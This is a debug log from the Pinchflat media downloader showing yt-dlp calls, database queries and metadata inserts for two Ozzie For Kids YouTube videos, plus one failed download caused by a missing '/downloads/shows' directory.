13:14:36.468 [debug] Current batch of media processed. Will check again in 1000ms 13:14:36.930 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/25/57/255786fdcf29198fe64093ae23b736bb19b2321c1c54548d7b0b928dfcf0f934.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:14:36.931 [debug] Running yt-dlp command for action: download 13:14:36.931 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1478.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:36.932 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1474.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:36.933 [debug] QUERY OK source="settings" db=0.4ms idle=1474.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:36.934 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ba/3f/ba3fcdd3347f9d04a3cf4e0b86a45cd6c5049227f6fb55df729abb504d6fa48f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:14:37.470 [debug] Current batch of media processed. Will check again in 1000ms 13:14:38.474 [debug] Current batch of media processed. Will check again in 1000ms 13:14:39.475 [debug] Current batch of media processed. Will check again in 1000ms 13:14:40.478 [debug] Current batch of media processed. Will check again in 1000ms 13:14:41.480 [debug] Current batch of media processed. Will check again in 1000ms 13:14:42.482 [debug] Current batch of media processed. Will check again in 1000ms 13:14:43.337 [info] {"source":"oban","duration":16439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:43.484 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "β›³πŸŽ΅ It’s time to play PUTT PUTT with Ozzie & Nomes!\n\nGrab your imaginary putter and join Ozzie & Nomes for a super-fun Mini Golf Song for Kids as they take on the putt putt course and battle it out for the Ozzie vs Nomes Trophy!\n\nWatch the ball roll around corners, over obstacles and towards the hole as Ozzie & Nomes line up their shots and try to sink the perfect putt.\n\nCan they score a hole in one?!\n\nSing, clap and move along as we discover the fun of mini golf, practise our aim and learn that friendly competition is all about giving it a go and having fun together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How mini golf works\nβ€’ Aiming and controlling a putt\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ mini golf for kids\nβ€’ putt putt song for kids\nβ€’ mini golf song for kids\nβ€’ how to play mini golf\nβ€’ hole in one for kids\nβ€’ golf explained for kids\nβ€’ golf for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 116, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-26 - Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids.mp4", "id" => "yyyP5Nd2IF0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yyyP5Nd2IF0", "playlist_index" => 3, "timestamp" => 1787770800, "title" => "Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids", "upload_date" => "20260826"} 13:14:43.485 [debug] QUERY OK source="sources" db=0.6ms idle=1061.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:14:43.486 [debug] QUERY OK source="sources" db=0.3ms idle=1062.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:43.519 [debug] QUERY OK source="media_items" db=33.5ms idle=1063.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-26 19:00:00Z], 7] 13:14:43.525 [debug] QUERY OK source="media_items" db=5.0ms idle=183.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["β›³πŸŽ΅ It’s time to play PUTT PUTT with Ozzie & Nomes!\n\nGrab your imaginary putter and join Ozzie & Nomes for a super-fun Mini Golf Song for Kids as they take on the putt putt course and battle it out for the Ozzie vs Nomes Trophy!\n\nWatch the ball roll around corners, over obstacles and towards the hole as Ozzie & Nomes line up their shots and try to sink the perfect putt.\n\nCan they score a hole in one?!\n\nSing, clap and move along as we discover the fun of mini golf, practise our aim and learn that friendly competition is all about giving it a go and having fun together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How mini golf works\nβ€’ Aiming and controlling a putt\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ mini golf for kids\nβ€’ putt putt song for kids\nβ€’ mini golf song for kids\nβ€’ how to play mini golf\nβ€’ hole in one for kids\nβ€’ golf explained for kids\nβ€’ golf for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids", "60523f3f-06a3-4b6f-ad84-4c620a7ba1dc", 116, false, "yyyP5Nd2IF0", "https://www.youtube.com/watch?v=yyyP5Nd2IF0", 3, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-26 - Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-08-26 19:00:00Z], ~U[2026-09-03 03:14:43Z], ~U[2026-09-03 03:14:43Z], "β›³πŸŽ΅ It’s time to play PUTT PUTT with Ozzie & Nomes!\n\nGrab your imaginary putter and join Ozzie & Nomes for a super-fun Mini Golf Song for Kids as they take on the putt putt course and battle it out for the Ozzie vs Nomes Trophy!\n\nWatch the ball roll around corners, over obstacles and towards the hole as Ozzie & Nomes line up their shots and try to sink the perfect putt.\n\nCan they score a hole in one?!\n\nSing, clap and move along as we discover the fun of mini golf, practise our aim and learn that friendly competition is all about giving it a go and having fun together!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How mini golf works\nβ€’ Aiming and controlling a putt\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ mini golf for kids\nβ€’ putt putt song for kids\nβ€’ mini golf song for kids\nβ€’ how to play mini golf\nβ€’ hole in one for kids\nβ€’ golf explained for kids\nβ€’ golf for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#MiniGolf #PuttPutt #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids", 116, false, "yyyP5Nd2IF0", "https://www.youtube.com/watch?v=yyyP5Nd2IF0", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-26 - Putt Putt Song | Ozzie & Nomes Mini Golf Song for Kids.mp4", false, 7, ~U[2026-08-26 19:00:00Z]] 13:14:43.526 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=109.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:43.527 [debug] QUERY OK source="media_profiles" db=0.3ms idle=41.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:43.527 [debug] QUERY OK source="media_items" db=0.3ms idle=41.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13747] 13:14:43.528 [debug] Current batch of media processed. Will check again in 1000ms 13:14:44.529 [debug] Current batch of media processed. Will check again in 1000ms 13:14:45.531 [debug] Current batch of media processed. Will check again in 1000ms 13:14:45.786 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ba/3f/ba3fcdd3347f9d04a3cf4e0b86a45cd6c5049227f6fb55df729abb504d6fa48f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:14:45.788 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:14:45.792 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=367.0ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n", ~U[2026-09-03 03:14:45Z], 14408] 13:14:45.808 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":18374759,"event":"job:exception","queue_time":418182,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:14:46.533 [debug] Current batch of media processed. Will check again in 1000ms 13:14:47.537 [debug] Current batch of media processed. Will check again in 1000ms 13:14:48.539 [debug] Current batch of media processed. Will check again in 1000ms 13:14:49.541 [debug] Current batch of media processed. Will check again in 1000ms 13:14:50.545 [debug] Current batch of media processed. Will check again in 1000ms 13:14:51.547 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "It’s Ozzie vs Nomes in an epic eKarting challenge! πŸŽοΈβš‘πŸ†\n\nWho will be the fastest around the track? Who will cross the finish line first? And who will take home the trophy β€” Ozzie or Nomes?!\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIt's Ozzie vs Nomes as they hit the eKarting track for an awesome go-kart racing adventure! \n\nBuckle up as Ozzie & Nomes learn how to drive a go-kart, steer around the track, tackle the corners and race towards the finish line. Along the way, they'll discover how go-kart racing works and why following the rules and staying safe on the track is so important.\n\nThen it's race time!\n\nWill Ozzie speed to victory? Can Nomes race past him and take home the win? There's only one way to find out β€” πŸ† The Ozzie vs Nomes Trophy!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love cars, racing, machines and exciting new adventures.\n\nKids will learn about:\nβ€’ How go-kart racing works\nβ€’ How to steer and control a go-kart\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Go Karting For Kids\nβ€’ Go Kart Racing For Kids\nβ€’ eKarting For Kids\nβ€’ How Go Karts Work\nβ€’ Racing For Kids\nβ€’ Go Kart Safety For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #GoKartRacing #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "duration" => 1888, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-23 - Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids.mp4", "id" => "d-3wic1qtVM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=d-3wic1qtVM", "playlist_index" => 4, "timestamp" => 1787461227, "title" => "Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids", "upload_date" => "20260823"} 13:14:51.549 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=108.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:14:51.550 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=109.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:51.554 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=110.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-23 05:00:27Z], 7] 13:14:51.559 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=115.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["It’s Ozzie vs Nomes in an epic eKarting challenge! πŸŽοΈβš‘πŸ†\n\nWho will be the fastest around the track? Who will cross the finish line first? And who will take home the trophy β€” Ozzie or Nomes?!\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIt's Ozzie vs Nomes as they hit the eKarting track for an awesome go-kart racing adventure! \n\nBuckle up as Ozzie & Nomes learn how to drive a go-kart, steer around the track, tackle the corners and race towards the finish line. Along the way, they'll discover how go-kart racing works and why following the rules and staying safe on the track is so important.\n\nThen it's race time!\n\nWill Ozzie speed to victory? Can Nomes race past him and take home the win? There's only one way to find out β€” πŸ† The Ozzie vs Nomes Trophy!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love cars, racing, machines and exciting new adventures.\n\nKids will learn about:\nβ€’ How go-kart racing works\nβ€’ How to steer and control a go-kart\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Go Karting For Kids\nβ€’ Go Kart Racing For Kids\nβ€’ eKarting For Kids\nβ€’ How Go Karts Work\nβ€’ Racing For Kids\nβ€’ Go Kart Safety For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #GoKartRacing #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids", "750f2b68-4983-4588-b49d-47c1bb289f0d", 1888, false, "d-3wic1qtVM", "https://www.youtube.com/watch?v=d-3wic1qtVM", 4, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-23 - Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-08-23 05:00:27Z], ~U[2026-09-03 03:14:51Z], ~U[2026-09-03 03:14:51Z], "It’s Ozzie vs Nomes in an epic eKarting challenge! πŸŽοΈβš‘πŸ†\n\nWho will be the fastest around the track? Who will cross the finish line first? And who will take home the trophy β€” Ozzie or Nomes?!\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIt's Ozzie vs Nomes as they hit the eKarting track for an awesome go-kart racing adventure! \n\nBuckle up as Ozzie & Nomes learn how to drive a go-kart, steer around the track, tackle the corners and race towards the finish line. Along the way, they'll discover how go-kart racing works and why following the rules and staying safe on the track is so important.\n\nThen it's race time!\n\nWill Ozzie speed to victory? Can Nomes race past him and take home the win? There's only one way to find out β€” πŸ† The Ozzie vs Nomes Trophy!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love cars, racing, machines and exciting new adventures.\n\nKids will learn about:\nβ€’ How go-kart racing works\nβ€’ How to steer and control a go-kart\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Go Karting For Kids\nβ€’ Go Kart Racing For Kids\nβ€’ eKarting For Kids\nβ€’ How Go Karts Work\nβ€’ Racing For Kids\nβ€’ Go Kart Safety For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #GoKartRacing #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids", 1888, false, "d-3wic1qtVM", "https://www.youtube.com/watch?v=d-3wic1qtVM", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-23 - Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids.mp4", false, 7, ~U[2026-08-23 05:00:27Z]] 13:14:51.560 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=104.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:51.562 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.6ms idle=12.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 